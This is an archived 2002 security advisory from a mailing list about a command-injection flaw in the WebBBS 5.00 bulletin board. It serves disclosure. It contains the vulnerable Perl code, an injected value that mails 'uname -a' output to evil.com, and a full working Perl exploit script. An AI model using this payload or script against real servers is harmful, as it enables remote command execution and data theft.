[UNIX] WebBBS Remote Command Execution
From: support@securiteam.comDate: 06/19/02
- Previous message: support@securiteam.com: "[UNIX] BasiliX Multiple Vulnerabilities (File Attachments, Privacy, SQL Injection)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Wed, 19 Jun 2002 08:24:26 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
WebBBS Remote Command Execution
------------------------------------------------------------------------
SUMMARY
<http://awsd.com/scripts/webbbs/> WebBBS is, as the name implies, a
Web-based bulletin board. WebBBS script allows command execution on
server. This script does no filtering and due to this remote command
execution is possible.
DETAILS
Vulnerable systems:
* WebBBS version 5.00
Vulnerable code:
The vulnerable code is shown below:
webbbs_post.pl:
..
if ($FORM{'followup'}) { $followup =
"$FORM{'followup'}"; }
..
if ($followup) {
..
$subdir = "bbs".int($followup/1000);
open (FOLLOWUP,"$dir/$subdir/$followup");
..
Example:
Just change the value of $followup variable, e.g:
"followup=10" to
"followup=10;uname -a|mail zlo@evil.com|" to exploit this vulnerability.
Exploit code:
#!/usr/bin/perl
#
# nerF gr0up
#
# exploit code for
# WebBBS by Darryl C. Burgdorf
# all version up to 5.00 are vulnerable
#
#
# this is an exploitation of "followup" bug.
# it allows remote attacker to execute shell
commands.
# you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
# 06.06.2002
# btr // nerf
# nerf.ru
use IO::Socket;
srand();
$script = "/cgi-bin/webbbs/webbbs_config.pl";
$command = "uname -a|mail zlo@evil.com";
$host = "localhost";
$port = 80;
$content = "$content" . "name=" . rand(254);
$content = "$content" . "&email=" . rand(254);
$content = "$content" . "&subject=" .
rand(254);
$content = "$content" . "&body=" . rand(254);
$content="$content"."&followup=".rand(254)."|$command|";
$content_length = length($content);
$content_type =
"application/x-www-form-urlencoded";
if (@ARGV[0]) {$command=@ARGV[0];}
if (@ARGV[1]) {$host=@ARGV[1];}
if (@ARGV[2]) {$script=@ARGV[2];}
$buf = "POST " . "$script" . "?post
HTTP/1.0\n";
$buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
$buf = "$buf" .
"$content_length\r\n\r\n$content", 0;
print "\tnerF gr0up\n";
print "exploit: WebBBS (awsd.com), version up
to 5.00\n";
print "sent:\n$buf\n";
if($socket = IO::Socket::INET->new("$host:$port")){
print $socket "$buf";
read($socket,$buf,1500);
print "recieved:\n$buf\n";
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:vipersv@mail.ru> nerf gr0up
nerf.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] BasiliX Multiple Vulnerabilities (File Attachments, Privacy, SQL Injection)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]